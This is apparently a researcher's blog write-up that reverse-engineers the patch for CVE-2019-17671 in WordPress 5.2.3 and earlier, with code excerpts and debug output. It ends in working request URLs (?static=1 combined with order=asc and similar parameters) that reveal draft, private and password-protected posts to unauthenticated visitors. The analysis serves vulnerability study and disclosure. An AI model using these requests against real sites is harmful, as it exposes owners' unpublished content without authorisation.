Proof of Concept for "Wordpress <=5.2.3: viewing unauthenticated posts" (CVE-2019-17671)
A couple of days Wordpress released 5.2.4 with a few security patches. Props to J.D. Grimes who found and disclosed a method of viewing unauthenticated posts. caught my attention, but I couldn't find a public Proof of Concept, so I set out to reverse engineer the published patch.
Information Gathering
My first step was to find as much information as possible about the bug as I couldn't find a PoC. I compared the statements from different security companies. Most recited the same phrase of "possibility to view unauthenticated posts":
- https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
- https://blog.wpsec.com/wordpress-5-2-4-security-release/
- https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/
- ...
I discovered the relevant patch in the Wordpress SVN repo / Github repo mirror by selecting the branch 5.2-branch
and going through the list of most recent commits, looking for a commit that mentions unauthenticated posts
or viewing posts
or something similar. Commit f82ed753cf00329a5e41f2cb6dc521085136f308 looked interesting!
Analysing the Patch
The commit changed only two lines of code and removed a static
keyword as well as one part from an if-condition.
My educated guess was that the removed static
check played a major role in the bypass. In wp-includes/class-wp-query.php
on line 731 the function parse_query
begins. It sanitizes and parses all passed query ($_GET
?) parameters.
From line 696 to 922 we see an about 125 lines long block of conditionals that set $this->is_single
or $this->is_attachment
or $this->is_page
depending on the given parameters. As all of those cases are based on elseif
; only one branch can be evaluated and we know which branch that should be:
// If year, month, day, hour, minute, and second are set, a single
// post is being queried.
} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {
$this->is_page = true;
$this->is_single = false;
} else {
// Look for archive queries. Dates, categories, authors, search, post type archives.
So we definitely don't want to set parameters like attachment
, name
, p
, hour
, etc. that would cause our branch to be skipped. We also cannot set the parameters pagename
or page_id
, because we don't know them and/or they would only return one result which would fail the access control checks.
Instead, we need to use static=1
in our list of parameters. At this point it took me a few hours to understand and become familiar with Wordpress' code base and surrounding functions.
Eventually I came across the function get_posts()
which queries the database using the (parsed) parameters.
public function get_posts() {
global $wpdb;
$this->parse_query();
[..]
With a bit of var_dump
debugging at various locations, I finally stumbled across the following block:
// Check post status to determine if post should be displayed.
if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {
$status = get_post_status( $this->posts[0] );
if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
$this->is_page = false;
$this->is_single = true;
$this->is_attachment = true;
}
$post_status_obj = get_post_status_object( $status );
//PoC: Let's see what we have
//var_dump($q_status);
//var_dump($post_status_obj);
// If the post_status was specifically requested, let it pass through.
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
//var_dump("PoC: Incorrect status! :-/");
if ( ! is_user_logged_in() ) {
// User must be logged in to view unpublished posts.
$this->posts = array();
//var_dump("PoC: No posts :-(");
} else {
if ( $post_status_obj->protected ) {
// User must have edit permissions on the draft to preview.
if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
} else {
$this->is_preview = true;
if ( 'future' != $status ) {
$this->posts[0]->post_date = current_time( 'mysql' );
}
}
} elseif ( $post_status_obj->private ) {
if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
}
} else {
$this->posts = array();
}
}
}
As we do not specify any specific query parameters, except for static=1
, the SQL query before the $this->posts = $wpdb->get_results($this->request);
will be var_dump($this->request);
:
string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC "
This should return all pages from the database (including password protected
, pending
and drafts
). Therefore, ! empty( $this->posts ) && ( $this->is_single || $this->is_page )
is evaluated to true
.
The function then proceeds to check the status of the first (!) returned post ($status = get_post_status( $this->posts[0] );
):
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
If the first post's status is not public
, then further access control checks are conducted. I.e. when the user is unauthenticated, the $this->posts
array is emptied.
Exploiting the Bug
So the obvious trick is to manipulate the query in such a way that the first post has status published
, but more than 1 post is returned in the array.
For that, creating a few pages is necessary:
- One that is published
- One that is a draft
I'll use pages here, becaue post_type='page'
is set by default, but setting &post_type=post
changes it to post_type = 'post'
if necessary.
So far we know that adding ?static=1
to a wordpress URL should leak its secret content. Adding a var_dump($this->posts);
before the access control checks, we can see the following pages being returned for http://wordpress.local/?static=1
:
array(2) {
[0]=>
object(WP_Post)#763 (24) {
["ID"]=>
int(43)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:55:29"
["post_date_gmt"]=>
string(19) "0000-00-00 00:00:00"
["post_content"]=>
string(79) "<!-- wp:paragraph -->
<p>A draft with secret content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(7) "A draft"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(5) "draft"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(0) ""
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:29"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:29"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=43"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
[1]=>
object(WP_Post)#764 (24) {
["ID"]=>
int(41)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:54:50"
["post_date_gmt"]=>
string(19) "2019-10-20 03:54:50"
["post_content"]=>
string(66) "<!-- wp:paragraph -->
<p>Public content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(13) "A public page"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(7) "publish"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(13) "a-public-page"
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:10"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:10"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=41"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
}
As you can see, the first page in the array is the draft (["post_status"]=>string(5) "draft"
), therefore nothing can be seen:
However, there are a few ways to manipulate the returned entries:
order
withasc
ordesc
orderby
m
withm=YYYY
,m=YYYYMM
orm=YYYYMMDD
date format- ...
In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc
will show the secret content:
UPDATE
This issue also discloses password protected
and private
posts:
WIN!
-=-